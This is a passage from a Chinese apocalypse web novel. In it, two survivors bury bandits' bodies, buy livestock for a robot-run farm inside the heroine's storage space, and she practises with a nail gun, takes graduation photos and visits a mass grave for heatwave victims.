虽然心中吐槽，秦小薇还是把车子收进空间里，和陆昼打着手电筒踩着湿滑的山路上了山。 走到半山腰的时候，他们换了方向，开始往山上的枯树林里钻，山路很不好走，要不是秦小薇这几个月一直在锻炼，估计会摔得很狼狈…… 走了一会，陆昼终于找到了满意的埋尸点，他让秦小薇从空间里拿出铁锹、铲子，开始挖坑埋尸。 板结的泥土泡了水之后还算好挖，两人力气又大，忙活了快两个小时，总算是把那几个路匪的尸体解决了。 秦小薇第一次干这种事，还有些忐忑：“这些尸体应该不会被发现吧？” 陆昼：“发现了也没关系，查不到我们身上。” 秦小薇忍不住后退一步，离他远一些：“这么自信，你以前不会经常干杀人埋尸的事吧？” 陆昼：“我只是对现在外面的情况有个清楚的认知而已……说实话，这还是我第一次安葬自己杀的人，这活还挺累人的。” 秦小薇：“……” 没说两句，两人就准备下山了，但还没到山脚下，他们就听到了一阵惊天动地的“轰隆”声，连脚下的地面也跟着震颤起来。 秦小薇的表情有些茫然：“出什么事了？地震了？” 陆昼：“声音是从山的另一边传过来的，我过去看看！” 说着，他就朝着山路两旁的枯树林里钻去。 秦小薇看了眼黑黢黢的山林，又看了眼已经快要消失在她视线里的陆昼，犹豫了一下，还是跟了上去。 很快，他们就越过枯树林，到了山的另一边，看着面前的画面，陆昼冲着她开口道：“这下，你是真的不用担心山上的尸体会被人找到了……” 可能是因为山上的树木全都枯死了，没了抓住土地的能力，再加上这几天的大雨，山的另一边竟然发生了山体滑坡！ 不过这里发生了山体滑坡，附近的山民短时间内应该不会再上山，等过了这两个月，又会有别的灾难转移他们的视线…… 秦小薇瞪了他一眼：“都这个时候了，你还有心情开玩笑？赶紧下山吧！不对，这个时候，我们是不是应该去空间里躲一躲？” 万一他俩下山的时候也碰到了山体滑坡怎么办？ 她还年轻，可不想莫名其妙把小命交代在这里！ 陆昼：“先下山吧！要是从空间里出来的时候外面有其他人，就解释不清了，山体滑坡都能精准避开咱们走的那条路，我觉得我今天运气还行……” 秦小薇忍不住刺了他一句：“你可真‘谨慎’！” 虽然嘴上这么说，但她还是扶着树干开始往回走。 下山后，他们又开着大卡车往前走了一段，避开有山的区域在马路上找了个地方停了下来。 陆昼：“原本还想着赶一赶，去老乡家住一晚的，现在还是在路边凑合一晚吧！天亮了我们再赶路……” 今晚的经历实在是太“精彩”，秦小薇也想休息一下好好缓缓，也就没再和陆昼打嘴仗，她从空间里拿了块毯子出来，盖在自己肚子上，闭上了眼睛。 虽然之前也见过好几次尸体，但今晚是秦小薇和尸体第一次“亲密接触”，她睡得并不安稳，梦里一直梦到那几人的脸，手上似乎一直残留着他们皮肤的温度…… 不知道是不是她说梦话吵到陆昼了，她睡了没多久，就被陆昼推醒了。 陆昼的胳膊撑在方向盘上，半阖着眼，不知道在想什么，驾驶室里开着灯，灯光照在他的脸上，他的睫毛在脸上投下了一小片阴影。 陆昼的声音有些低沉：“还没让你做什么呢，就吓得做噩梦了，胆子真小！” 秦小薇不服气：“你胆子大？那你说说，你第一次近距离接触尸体的时候，晚上梦到什么了？” 陆昼掀开眼皮看了她一眼：“什么都没梦到，我第一次接触到的尸体，是我爸妈的。” 秦小薇瞬间噤声。 她是不是不该问这个问题？不对……是他先挑衅的，她为什么要感到愧疚？ 虽然在心里告诉自己，不用感到愧疚，但秦小薇还是没再继续这个话题。 她翻了翻自己的仓库，取出两份爆米花：“喂，吃夜宵吗？” 陆昼的视线落在那两份500克的超大份爆米花上：“你们女孩子不都喜欢节食减肥吗？你怎么顿顿吃这么多？” 秦小薇：“谁说的？我周围的朋友，就没几个不爱吃的，再说了，我运动量这么大，又吃不胖，怕什么？” 陆昼嗤笑一声：“物以类聚。” 秦小薇瞬间收回一份爆米花：“算了，你别吃了！你不配！” 说完，她就自己抱着爆米花“咔嚓咔嚓”吃了起来，想着晚上吃太多会不消化，她还从空间里拿了瓶酸奶出来“助消化”。 吃了没多久，陆昼的手就伸了过来，从她面前的纸袋里抓走了一大把爆米花。 陆昼点评道：“比我上次在你摊子上买的好吃，上次那几盒，我拿回家的时候，都凉了。” 秦小薇：“爆米花当然要趁热吃，当然，刚出锅的时候最好吃！” 陆昼吃完手里的又抓了一大把，还冲着她提要求：“给我一杯酸奶。” 秦小薇：“没有了，你喝牛奶吧！” 酸奶的生产成本比牛奶高多了，拿来投喂他太浪费了！ 陆昼：“也行！” 两人一起吃完一份超大份的爆米花后，秦小薇已经有些撑了，又熬了几个小时，她实在是撑不住了，才再次陷入梦乡。 可能是因为空气中都是爆米花和黄油香甜的味道，这次她没再做噩梦，梦里都是爆米花甜蜜的味道。 天亮之后，他们再次出发，八点多的时候，他们到达了目的地。 到地方之前，陆昼让秦小薇清空了后车厢里的东西。 他们的目的地是一个非常偏远的村子，村子很小，虽然家家户户都建了楼房，但几乎看不到什么年轻人，五六十岁的叔叔阿姨，在村里都算是很“年轻”了，有些老人，牙齿都掉得没几颗了，走路更是颤颤巍巍的。 虽然村里的老人年纪都很大，但是他们养的牲畜都很“年轻”，甚至数量还不少，猪牛羊鸡鸭都有！ 看到村里剩余的牲畜数量，秦小薇很惊讶：“这些牲畜是怎么活到现在的？” 陆昼：“这些老人，把牲畜看得比自己的命还重要，暴雨和高温的时候，不顾工作人员的阻拦，非要把它们带去临时安置点。高温的时候，水不够喝，还有人省下自己的水给它们喝，就因为这事，有几个老人还因为脱水死掉了……我在系统里看到了这事，就抢在其他人前面过来了。” 秦小薇：“他们把牲畜看得这么重要，会把它们卖给我们吗？” 陆昼斜睨她一眼：“我带够钱了！” 秦小薇：有钱了不起哦！ 事实证明，有钱真的了不起。 高温后新鲜食物太过稀缺，现在市面上的猪肉已经涨到150一斤了，一般来说，活猪的价格会比猪肉低一些，因为要去掉皮毛内脏之类的损耗。 但陆昼，直接按照300一斤的价格收购村里的活猪，其他鸡鸭牛羊什么的，他也按照市场价的两倍往上加价。 那一箱钱放在村长面前的时候，他眼睛都看直了！ 听到他们的收购价，村里养了牲畜的人家更是心动不已，村长生怕陆昼他们反悔，当场就答应下来了。 他们都老了，一年到头费心伺候牲畜，不就是为了卖几个钱攒棺材本吗？ 现在有了这笔钱，他们不仅棺材本有了，还能帮衬一下在城里干活的小辈！还有什么不能答应的！ 双方都有交易的意向，他们很快就把事情 谈妥了，但秦小薇和陆昼却在村里耽搁到下午才离开。 交易的数额太大了，村长担心收到□□，找了村里几个“年轻人”，花了大半天，才把陆昼带来的那两箱钱点完。 秦小薇：下次出来收物资的时候，可以考虑带个验钞机，等着他们一张张数钱实在是太麻烦了。 卡车启动后，秦小薇看了眼后视镜里不断变小的村子。 秦小薇：“陆昼，你说他们以后会后悔把这些牲畜卖了吗？” 陆昼专心开车：“不知道，但我给的钱，够他们以后在安置点活得很舒服了……” 前提是这些人能守住这笔钱。 第64章 第64章毕业照（双更合一）…… 车子又往前开了一段,彻底看不到村子的轮廓后，陆昼示意秦小薇下车，把车上的牲畜收进空间里。 秦小薇直接把车收进了仓库里,之后他们又换了一辆卡车继续前进。 她看着仓库里那一卡车牲畜有些头疼,为了攒金币买海鲜餐厅,她这段时间都没再扩充仓库的格子，这笔金币可以拿来扩充空间里的土地。 空间里倒是有地方养它们,但得给它们搭个棚子让它们住吧？ 还有,它们吃什么啊？她以后不会除了打理菜地、还要多一项煮猪食、打扫牲畜棚的工作吧？ 秦小薇没有一个人烦恼，直接把自己的顾虑和陆昼说了。 毕竟这些牲畜,也算是他们俩共有的，虽然她一分钱没花…… 陆昼想了想：“棚子的事好办，我定制一个,你拿到空间里组装一下就行了。我这段时间想办法收点饲料,你再在空间里随便撒点牧草种子，等牧草长出来了，它们就有吃的了……至于打扫,你先顶一顶，我看看能不能弄个机器人让AI养……” 秦小薇越听眉头皱得越紧：“为什么我要干这么多活？” 陆昼心虚地摸了摸鼻子：“要是你能接受有人进入你的空间,我也可以……” 秦小薇：“打住——这事没有商量的余地！陆昼,我有个更好的想法，你要不要听一听？” 陆昼：“你说。” 秦小薇：“让它们一直待在我的仓库里，等想吃了,就抓一只出来宰了！” 陆昼皱眉：“那些牲畜我打算留种的！” 秦小薇无所谓道：“反正你钱多，多囤点不就行了！留不留种都行，难道你家积累的那些财富，还不够你买肉吃？” 陆昼：“……”现在这种情况,他还真不敢保证。 秦小薇：“反正你别想使唤我干活，我很忙的，腾不出时间照顾它们……” 其实她也没有那么忙，但空间里的养猪场和钓竿都可以稳定出肉，要是吃腻了，她还能拿着物资去找陆昼“交易”，干嘛要吃饱了撑的从小开始养？ 噢，不是从小开始养，按照陆昼的计划，那些牲畜，现在连胚胎都不是！ 陆昼深深地叹了一口气，没再说话。 因为昨天晚上的经历，他们没再赶夜路，而是随便找了个路边停车，打算在车里将就一晚——酒店要登记身份证，不适合现在的他们。 秦小薇让陆昼在外面守着车，自己进空间里美美吃了一碗海鲜面，等和小黄一起遛完弯消食，她才从空间里出来。 见她空着手出来，陆昼忍不住皱眉：“我的晚饭呢？” 秦小薇：“……你也没说要吃啊？” 陆昼：“……” 秦小薇打开仓库，拿出一堆工坊生产的东西：“面包、曲奇、爆米花、牛奶……你要哪个？” 陆昼挑挑拣拣，最后拿了培根面包和牛奶。 秦小薇拿出手机，发现班群里正在讨论拍毕业照的事。 其实这事早就该提上日程了，但因为这几个月的极端天气，大家都昼伏夜出，连洗澡都变成了一件奢侈的事，想要美美地拍毕业照那就更是妄想……就一直没人提。 她翻了下班委们选的衣服，忍不住打开宿舍群，和室友们吐槽起来。 【秦小薇：为什么毕业典礼一定要穿礼服裙和婚纱？不敢想象，我穿上那些裙子会丑成什么样……】 【范槿：薇薇，你至少还有脸撑着，像我这样要颜值没颜值、要身材没身材的才应该焦虑。】 【秦小薇：饭饭你那么可爱，没什么好焦虑的！主要还是裙子的问题，我觉得群里那几套，不管谁穿都丑。】 【肖琳琳：其实我觉得白衬衣配黑裙子就挺好的，但是学委说太普通了，毕业典礼要穿点不一样的，拍点不一样的照片……他那直男审美，我都不想说！】 【秦小薇：咱们体院的，就算想拍点不一样的毕业照，也应该和运动相关吧！我看之前医学院就出过穿白大褂拍鬼片的毕业照，我觉得还挺好玩的，咱们也可以往这个方向想想啊！】 【段霞：我本来还有点期待的，但看到他们发出来的照片，瞬间期待破灭。】 【范槿：这些丑裙子，还要我们一个人出368租，还只能租半天……现在照相馆的生意也太好做了！】 在小群里吐槽了一番，几人又转战班群，提出想换服装。 因为那几条裙子实在是丑，班里的女生几乎都在吐槽，班委最后顶不住压力，把其中一条裙子换成了白衬衣配黑裙子。 之后，秦小薇又打开和财务的聊天界面，看了下今天的营业额。 她不在的这两天，店里的生意基本上和前两天持平，店里也没出什么岔子…… 看来她以后要是看店看烦了，还可以给自己放个假偷懒。 玩了会手机，秦小薇忽然把屏幕怼到陆昼面前：“你觉得用射钉枪练习打靶，用哪种靶子比较好？” 屏幕里，是几种不同材料的靶子。 陆昼没看手机屏幕，他用一种非常惊奇的目光上下打量着她：“你昨天不是还吓得做噩梦吗？今天就敢用死人留下的东西了？” 秦小薇：“确实让人有点膈应，但我多消几次毒，感觉也能接受……咱们昨天晚上，不是还用他们的锄头挖坑了？况且，我已经找到不做噩梦的办法了！” 陆昼好奇道：“什么办法？” 秦小薇：“睡前吃夜宵！听说睡觉会加深一个人睡前的记忆，我睡前多吃点好吃的，梦里就全是美食了！” 陆昼：“……” 秦小薇：“主要还是你推荐的那家射击馆太贵了，我现在练的枪，一颗子弹就要35，但是钉子便宜啊，几块钱就能买一大盒……而且我感觉射钉枪更适合拿出来用！” 陆昼：“你还真是勤俭节约！” 秦小薇：“我就当你是在夸我了……你帮我看看，哪种靶子合适？我看看能不能买材料自己做几个……” 陆昼扫了一眼屏幕：“回头我让人每种都给你送几个，你慢慢试！留下最适合的那一款就行了！” 秦小薇：“陆昼，我发现，你砸钱的时候还是有点帅的！” 陆昼：“……不砸钱的时候就丑了？” 秦小薇一脸“你真聪明”的模样：“你心里知道就好，不用说出来！” 陆昼：“……” 大概十一点的时候，秦小薇从空间里拿出毯子，准备入睡。 可能是因为夜宵足够美味，她晚上没梦到昨天那几人，但她夜宵吃得太撑，她梦到了陆昼和她一起去吃自助，她吃不下了，陆昼还一直按着她的脑袋，往她嘴里塞吃的…… 早上醒来的秦小薇：夜宵吃多了好像也会做噩梦。 陆昼被她盯得有些莫名：“秦小薇，你想干什么？” 秦小薇：“陆昼，在车里睡了一晚上，人都僵硬了，下车，我们比划一下！” 陆昼：“……你大早上发什么神经？” 虽然陆昼不愿意，但秦小薇还是强行把他拖下了车，逼着他和自己打了一架，可能是这几个月练的拳击、散打、武术起了作用，这次，她没用仓库作弊 ，竟然也险胜了陆昼。 揍了他一顿，原本做了噩梦心情不好的秦小薇瞬间神清气爽。 与她相反，陆昼的心情变得非常差：“秦小薇！你是不是有病？” 秦小薇：“切磋而已，又没伤到你，你一个大男人，还输不起了？行了，收拾收拾出发吧！我可不想今天晚上还和你一起睡车上……” 陆昼：“……” 两人赶在天黑之前回了宁市，秦小薇到家的时候，健身房已经关门了，她回家洗了个澡，换了套睡衣，直接在床上滚了起来。 坐了两天车，她屁股都快坐麻了，还是家里舒服！ 躺了一会，秦小薇拿出手机，打了两局游戏，没过多久，她之前加的业主群就不断有消息弹出来，有人在群里@她。 她打开业主群看了看，才发现这几天群里进了不少人，现在那些新进群的业主正在讨论重装电梯的事。 上次保安联系业主们重装电梯的时候，因为大家意见不统一，这事也就不了了之了。 秦小薇观察了一下，虽然那几人一直在积极组织重装电梯的事，但群里人的意见依旧不是很统一。 一二楼的人觉得自己平时可以不用电梯，根本不愿意出钱；高楼层的人觉得那些开店的商家用电梯用得多，应该多出钱；还有人觉得应该按建筑面积出钱；还有人觉得各家应该出一样的钱……总之，就是大家都有自己的小心思，又都觉得自己说得很有道理，谁也说服不了谁。 她觉得，这次的事结果可能也会和上次一样，吃了会儿瓜就关掉了聊天软件。 虽然她私心里是很希望其他几部电梯也能正常运行的，毕竟电梯要是能用了，健身房的客人上下楼也能方便许多，这对健身房的生意来说，是有利的，但要是大家一直谈不拢，她也没办法…… 毕竟她也不能左右别人银行卡里的钱该怎么花。 第二天早上，秦小薇吃完早饭后照常去健身房看店，店里的员工看到她之后纷纷询问她新品的选品进度，她随口找了个理由敷衍过去了。 健身房开业没多久，楼上楼下就传来电钻钻墙的声音。 想到业主群里那些新加入的业主，秦小薇猜测，这段时间，公寓楼里装修的声音估计不会停……不过也无所谓了，这栋公寓楼以前就没怎么安静过，她也已经习惯了。 下班前，段霞找她请了半天假，说第二天早上要去面试，秦小薇知道她一直在焦虑找工作的事，非常痛快地给她批了假。 秦小薇：“阿霞，面试的时候别太紧张，你这么优秀，肯定没问题的！” 段霞：“希望吧！” 第二天一早，秦小薇开车去了趟附近的大型超市，高温结束后，超市货架上的货物种类倒是丰富了一些，但多的都是些日用品，吃的依旧只有能量饼干和淡化水。 就算已经喝了很久淡化水，很多人依旧接受不了淡化水那股海腥味，再加上靠近自来水厂的那部分地区已经开始恢复供水了，超市里的淡化水竟然出现了“滞销”的迹象。 秦小薇转了半天，拿了两包能量饼干和一堆不同长度的钉子。 超市里的客人并不多，她结账的时候都没有排队。 拿到了钉子，秦小薇回家就对着树试了下射钉枪，可能是因为之前在射击馆喂了不少子弹，换了把射钉枪，她的准头竟然还可以。 射钉枪虽然也是“枪”，但是射程和手枪差了不少，只有在离得比较近的情况下才能发挥出它的攻击力，离远了，还没挨到树，钉子就直接掉地上了…… 她挨个试了下今天买的钉子，留下了最适合的那款，打算找个机会再去补点货。 健身房就要开始营业了，秦小薇就没在空间里待太久，试完了钉子就出去了。 上午的营业还算顺利，下午的时候，段霞回来上班了，秦小薇顺嘴问了下她面试怎么样。 段霞叹了口气：“HR对我倒是挺满意的，但是底薪只有百分之三十，每个月能拿多少，基本上看提成，我要是招不到学员，工资还不如在你这兼职，付房租都够呛……” 秦小薇拍了拍她的肩膀，安慰她：“没事，高温天已经结束了，咱们慢慢找，总能找到让你满意的工作，实在不行，你就继续在我这干呗，只要我还是店长，就不会让老板拖欠你的工资！” 段霞：“我倒是想慢慢来，但我爸妈一直打电话过来，催我回老家当体育老师……” 秦小薇：“那他们催你，你就会回老家当体育老师吗？” 段霞坚定地摇头：“不回去！买的教资资料我都没怎么看，题目也是对着答案装样子抄的，专门拍照敷衍我爸妈，就算我想回去考试也通不过……” 秦小薇：“你看，你自己都把退路切断了，还有什么顾虑？继续往前走呗，事情总会变好的！” 段霞：“唉！但是我控制不住，老是想这事……” 秦小薇一本正经道：“那你肯定是太闲了，阿霞，我给你找点活干，让你忙起来，放空自己的大脑！” 段霞伸手挠她的胳肢窝：“薇薇，我看你是想借着店长的名头狐假虎威，奴役我吧？” 秦小薇不断躲闪：“哈哈哈哈我错了，我错了……” 两人闹了一会，段霞的情绪总算是没那么低落了。 晚上健身房歇业后，秦小薇又接到了陆昼的电话，说是她要的靶子到了，让她下楼去取。 但她下楼后，发现陆昼的车里空荡荡的，除了他的人，什么都没有。 秦小薇：“靶子呢？” 陆昼：“在厂里。” 秦小薇：“……”几个靶子而已，还搞得这么神秘？ 虽然心中吐槽，但她空间里确实缺靶子，她也就上了车，等到了地方，她终于明白，陆昼为什么要让她来这里取靶子了。 因为除了各种材料的固定靶子，他还准备了可移动的自动记分靶子，还有一些其他零零碎碎的东西，加在一起，够她弄个射击场了！ 秦小薇：“陆昼，你是不是疯了？准备这么多东西？” 陆昼：“你空间里那么大，只放一个靶子也太寒酸了！” 虽然这些东西都是给她用的，但秦小薇还是觉得很夸张。 她指了指不远处另外两辆车厢门关着的大卡车：“那边两辆车里装的是什么？你囤的粮食吗？” 陆昼：“给你建猪圈、牛圈、羊圈、鸡棚的……” 秦小薇双手比了个“X”放在胸前：“我拒绝，我没时间照顾它们！” 虽然她很喜欢吃猪肉牛肉鸡肉，但每天给它们铲屎、打扫圈舍……还是算了吧！ 陆昼拿出手机，给她发了个文件：“没打算让你照料……你先看看我给你发的文件。” “你可别想忽悠我……”她一边嘟囔着，一边打开了手机。 发现陆昼给她发的是一个智能养殖场的设计方案，养殖场由机器人AI管理，秦小薇只要定时给机器人设定程序、充电就行了。 还有牧草的无人化种植，文档里也给了设计方案。 牲畜的粪便也不会浪费，机器人会把它们发酵成有机肥…… 现在外面的农业， 已经发展到这个地步了吗？什么都可以无人化操作…… 就是养那么一车牲畜，盖这么多棚子，用这么多机器人，她觉得有点浪费。 秦小薇很震惊：“你不是昨天晚上才回来吗？今天设计师就出设计方案了？” 陆昼：“这套方案很多地方都在用，照抄而已，没什么难的……” 秦小薇想了想，反正这些东西都是陆昼出钱出人脉弄，她也就提供一点地，之后还会有源源不断地新鲜肉类供应，为了以后的长远发展，似乎也不是不能接受…… 秦小薇：“建就建吧！但这些东西，你自己进我空间安装。” 陆昼：“……行！” 秦小薇把卡车里的东西收进了空间，之后和陆昼一起回了公寓。 她带着陆昼进了空间，之前她腾了不少空地种东西，再加上空间里增加了一条淡化水生产线，已经有些拥挤了。秦小薇四处看了看，调出控制面板，直接购买了一块土地。 看着一片“森林”直接在自己面前消失，陆昼的瞳孔缩了一下。 他走到“边界线”旁，摸了下那张看不见、摸得着的屏障，指着脚下的土地，若有所思道：“对面那些森林，都能变成这样？” 秦小薇看着自己的金币余额，叹了口气：“差不多吧！不过需要一点时间……你先干活，我出去睡觉了，明天早上再进来放你出去上班。” 陆昼：“……你也太狠了，竟然想让我007？” 秦小薇有些莫名其妙：“不是你要搞AI养殖的吗？你外面的工作也是你自己找的，你自己揽那么多活，关我什么事？你要真觉得累，自己安排一下休息时间不就行了？” 陆昼：好像……有点道理？ 随口吐槽了几句，秦小薇就离开了空间。 第二天早上，她进空间里吃早饭的时候，发现陆昼竟然真的一夜没睡，安装了一夜半成品钢棚，身上脏得就像是刚从工地里干完活一样。 秦小薇：“……”这家伙可真拼啊！ 陆昼打开水龙头，洗干净手，之后又胡乱接了几捧水，往自己的脸上泼，把脸上的灰尘也洗掉了。 秦小薇看着他的模样，从他自己的物资车里找了一箱衣服出来：“你把衣服换了再出去，你现在这个样子从我家出去，太奇怪了！” 陆昼：“我换身衣服，在你家待一夜再出去，就不奇怪了？” 秦小薇翻了个白眼：“所以你下次干活前注意点，记得换套衣服，一点都不严谨！” 陆昼：“……我饿了，给我也热几个包子。” 秦小薇指了下雪屋的方向：“自己拿。” 一转眼，一周过去了，也到了班委们定的拍毕业照的时间，因为要领毕业证，很多外地的同学都想办法回来了，但也有人因为交通不便，并没有回宁市，所以这次拍毕业照的人数并不齐。 拍照的衣服是直接送去寝室的，因为要提前试衣服，如果尺码不对的话得找商家更换，时隔几个月，秦小薇又回1206住了一晚。 班委做事很细心，衣服拿过来之前，尺码都仔细核对过，并没有出现尺码不对的情况。 肖琳琳看着自己的礼服裙发愁：“这条裙子生虫子了，我可以洗一洗吗？” 秦小薇：“这种裙子不能下水洗吧？再说现在这个天气，今天晚上洗了，明天早上也不一定能干，问问班长吧！看看能不能换一件。” 秦小薇也嫌弃这些衣服，衣领和袖口都脏得不行，还有一股汗臭味，不知道多久没洗了…… 肖琳琳：“行吧！要是不能换，我明天就不拍这一套了！现在医院还没恢复，我要是被虫子咬了，去医院都买不到药……” 第65章 第65章校招（双更合一）…… 虽然对毕业照的衣服很不满意,但1206的四人第二天还是起了个大早化妆，租的衣服太脏了，她们根本不敢贴身穿,特地在里面穿了打底隔开衣服。 按照以往的“传统”,除了Q大,摄影师还会开车带他们去拍外景，但经历了暴雨、涨水和高温之后,宁市现在就没几个风景好的地方……所以他们的毕业照就只能在Q大校区里拍。 为了出片,摄影师还准备了假花、假“毕业证”让他们当道具…… 一共三套衣服，秦小薇比较能接受的是学士服和白衬衣配黑色短裙那两套,对另外一条像是婚纱的丑裙子完全无感，因此前两套她多拍了几张照片，后面一套,她就只穿着拍了几张大合照。 1206的其他三个人也差不多,穿着学士服拍了一堆单人照和合照。 等到了快结束的时候，秦小薇终于知道，为什么学委之前坚持要租礼服裙和西装,还说要拍什么婚纱照了。 在散场之前，他穿着西装和他的女朋友——也就是班上另一个女生求婚了！ 秦小薇：“……”感觉班上其他人都成了他们PLAY的一环。 不过同窗四年,这次就算了,她就当是出份子钱了！ 在一片起哄声中，学委最后如愿抱得美人归。 拍完毕业照回寝室的路上，肖琳琳忍不住和其他三人吐槽：“你们有没有觉得,我们就好像那个大冤种！” 她那件生虫的礼服裙最终还是没换成，店家还说裙子可以洗，但是洗坏了一件要赔五百。 所以她花了368，只拍了两套衣服,再加上只有一个摄影师，顾不到他们所有的人，很多照片都是他们自己拿手机互相拍的，肖琳琳觉得这钱花得不值得也很正常…… 秦小薇拍了拍她的肩膀：“班长不是说还有相册吗？就当是花368买个纪念相册外加给学委他们出份子钱了……” 范槿：“班长说月底之前要搬出寝室，阿霞、琳琳，你们有什么打算吗？” 段霞：“出去租房子，然后继续找工作，我问了导员，她说下周学校会安排大型招聘会，到时候学校会邀请很多企业过来……” 肖琳琳：“我也一样，阿霞，我们合租吧！还能省点房租水电钱！” 范槿：“我得搬回家了，薇薇，健身房的兼职我估计干不了多久了，我妈找了人，打算把我塞进她一个客户的公司里上班……” 秦小薇：“没事，你哪天不干了提前和我说一声就行了，我给你结工资。” 高温结束后，健身房的生意差了许多，范槿要是离开了，她自己也能兼职宣传的工作。 要是真的缺人了，她还可以来Q大找学妹们兼职，只帮客人做体能训练和体能测试的话，体院的学生完全可以胜任…… 想到未来几个月的情况，秦小薇看向段霞和肖琳琳：“你们租房子的话要不要考虑一下我楼上的公寓？最近公寓的房租降了很多，你们两个人住的话，应该也还行！” 段霞有些犹豫：“薇薇，你们那栋公寓没有电梯，上下楼太麻烦了……我和琳琳之前找的几套房子应该挺合适的，现在高温都结束了，没有空调也没什么关系。” 秦小薇又劝了两句，见她们真的对公寓的房子不感兴趣，这才放弃劝说。 回寝室后，秦小薇收拾了一下寝室里剩下的生活用品，打算今天就把东西搬回公寓。 上楼的时候，她们 在十二楼的走廊里碰到了裴欣，和上次见面相比，她看起来又瘦了一圈，秦小薇有些奇怪：“她不是搬走了吗？怎么又回来了？” 高温结束之后，学校就安排之前搬去低楼层的学生搬回了自己的寝室，裴欣则和她爸妈一起，带着狗搬回了他们之前住的出租房，知道她没带着狗搬回十二楼后，不少被她“祸害”过的女生都狠狠松了一口气。 范槿：“好像她们班明天拍毕业照，她可能回来拍毕业照拿毕业证和学位证？” “这样啊……”秦小薇点点头，没再多聊裴欣的事。 因为很少回寝室住，她留在这边的东西并不多，一趟就能搬完。 临走前，秦小薇忍不住回头看了下自己空空荡荡的床位，这次离开，以后是真的不会再回来了！ 晚上，健身房刚关门，陆昼的消息就发了过来，提醒秦小薇他要上来了。 秦小薇看着这条消息，心情有些复杂。 这家伙精力是真的旺盛啊！ 这一周，陆昼每天都来她的空间里干活，每天早上她进空间里的时候，他都是一副忙活了一晚上的样子，但陆昼随便用冷水洗个脸，吃完早饭换个衣服，又能精精神神地去上班。 这给穿越后每天坚持健康作息的她带来了很大的震撼，她有时候都担心陆昼会猝死在她的空间里…… 把陆昼送进空间后，见他去屋里换了套衣服，撸起袖子就准备干活，秦小薇终于忍不住：“陆昼，你已经干了七天了，要不今天算了吧？反正就剩一点了，晚一两天也没什么关系……” 陆昼让人准备的钢棚虽然“拼上”就能用，但很多地方，都要用超大号螺丝固定，地面的部分，也得打洞固定……这半成品钢棚用起来比直接建房子方便，但是也没那么方便。 至少没她空间里那些可以随意移动的房子方便…… 陆昼：“不用管我，我睡过了。” 秦小薇：“你白天出去补觉了？你同事不会发现异常吧？” 陆昼：“没有，我半夜在你空间里眯了几个小时。” 秦小薇：“……”她就不该多这个嘴！ “哎，你等等……”陆昼忽然弯腰凑近了她，“秦小薇，你眼睛好像起皮了……” 秦小薇一怔，伸手摸向自己的眼皮：“眼皮还能起皮？哪里？应该不会吧，我之前照镜子的时候都好好的……” 见她一直没摸对地方，陆昼看不下去了，直接伸手帮她。 “这里，好大一块。”陆昼直接伸手撕下了她的双眼皮贴，看清手上的东西后，他脸上难得露出名为尴尬的表情，“那个，我好像看错了……” 秦小薇：“……我好像要打你了，你觉得是你的错觉吗？” 就算她眼皮真的起皮了，他也不能这么用力撕吧？ 和陆昼“切磋”了一顿，赢了后，秦小薇才放他去搭钢棚，自己则去了另一边练枪。 固定靶她已经能打得很准了，但移动靶的命中率还是不行，她从超市和五金店买了不少钉子回来，因为“弹|药”充足，她这周可以说是放开了手脚练准头。 反正钉子便宜，浪费了她也不心疼…… 第二天早上，秦小薇进空间的时候，发现农场出了个“清凉一夏”的活动，零食厂限时开放各种果汁的生产，与此同时，钓竿的CD时间减半，钓上来各种水果的概率也会大幅度提升。 秦小薇：虽然现在外面的温度更像是春秋天，但能趁着这个机会多囤点水果和果汁也挺好的！ 可惜这次的活动没有金币奖励，她这段时间真的太缺金币了！ 在空间里转了一圈，秦小薇才发现，陆昼已经把钢棚组装好了，就连她前天收进来的机器人，也都拆出来了，而陆昼，正坐在她的露天厨房里吃早饭。 她扫了眼桌上的早饭，生煎包配胡辣汤，卖相看起来非常不错。 她四处看了看：“我的呢？” 陆昼冲着她笑了下：“你又没说你要吃。” 秦小薇：“……”这话好像有点耳熟？ 她也没生气，去接了半锅水，准备早上煮饺子吃。 秦小薇：“我们专业昨天发了毕业证，你和我同一届的，是不是也该发毕业证了？我忘了，你好像休学了……你以后还有机会拿毕业证吗？” 陆昼：“毕业证和学位证我早就拿到了。” 秦小薇：“啊？” 陆昼简单解释道：“我找校长走了后门，直接参加了考试。” 秦小薇：“……”她辛辛苦苦上了半年多的班，才拿到实习证明，这家伙走个后门参加一场考试就能毕业了？ 秦小薇忽然又看他不爽了。 看到她满含杀气的眼神，陆昼警惕起来，他一口气喝完了碗里的胡辣汤，语速飞快地说道：“秦小薇你快送我出去我早上有个很重要的会等下要迟到了！” 秦小薇狐疑地看着他：“有这么急吗？我看你说话都不会大喘气了……” 虽然嘴里吐槽，但秦小薇还是把他送了出去。 离开空间前，她看了看远处崭新的钢棚，犹豫了一下，还是没把仓库里那一车牲畜放出来。 健身房就要开门营业了，这事下次找陆昼进空间再弄吧！她既不会赶牛又不会放羊，感觉会很麻烦的样子…… 上午，她发现今天健身房的客人格外少，上网看了一下才知道，今天是宁市大型公墓建成的日子，市政在官网上公布了高温过后火葬场无人认领的骨灰名单，竟然有两万人之多！ 加上那些有人认领的，秦小薇猜测，高温期间，宁市市民的死亡人数可能接近或超过六位数！ 这个数据很恐怖，但对比陆昼上辈子高温之前，就死了几百万人的情况，又要好很多……至少这次大部分人都活了下来！ 除了宁市，国内其他的城市也建了大型公墓，这几天，网上一直有大V和博主在“分享”他们的故事，有说公墓里葬着他们邻居的，有说公墓里葬着他们朋友的……故事非常感人，收获了不少路人的眼泪。 因此，每座城市的公墓建成之后，都会有很多市民自发地过去祭拜，现在没有鲜花，他们就带纸花过去……还有人靠卖制作精巧的纸花发了笔财。 秦小薇这两天，也在网上刷到了不少相关的故事，她想了想，决定也过去看一看。 她自己知道，灵魂是真实存在的，虽然她不知道人死后灵魂会不会去阴曹地府，但无人祭拜，确实挺可怜的…… 出发之前，她还在同城APP上联系了一个商家，买了一束纸扎的菊花。 取完货后，秦小薇就导航去了公墓，她开了很久的车，才到达目的地——过来祭拜的人太多了，路上竟然堵车了！ 不是说暴雨的时候，很多车都被水泡了吗？现在打车，连起步价都翻了好几倍，怎么还会堵车？难道整个宁市的车今天都往这边来了？ 暴雨过后，秦小薇就没再体会过堵车的感觉了，今天算是好好体会了一把！ 公墓的选址在郊外一片农田附近，公墓建造得很简单，巨大的石碑上连死者的名字都没刻，主碑文上只有“XX年极端高温天气宁市罹难者之墓”，附加信息也只有立碑人、时间范围和一行简短的悼词。 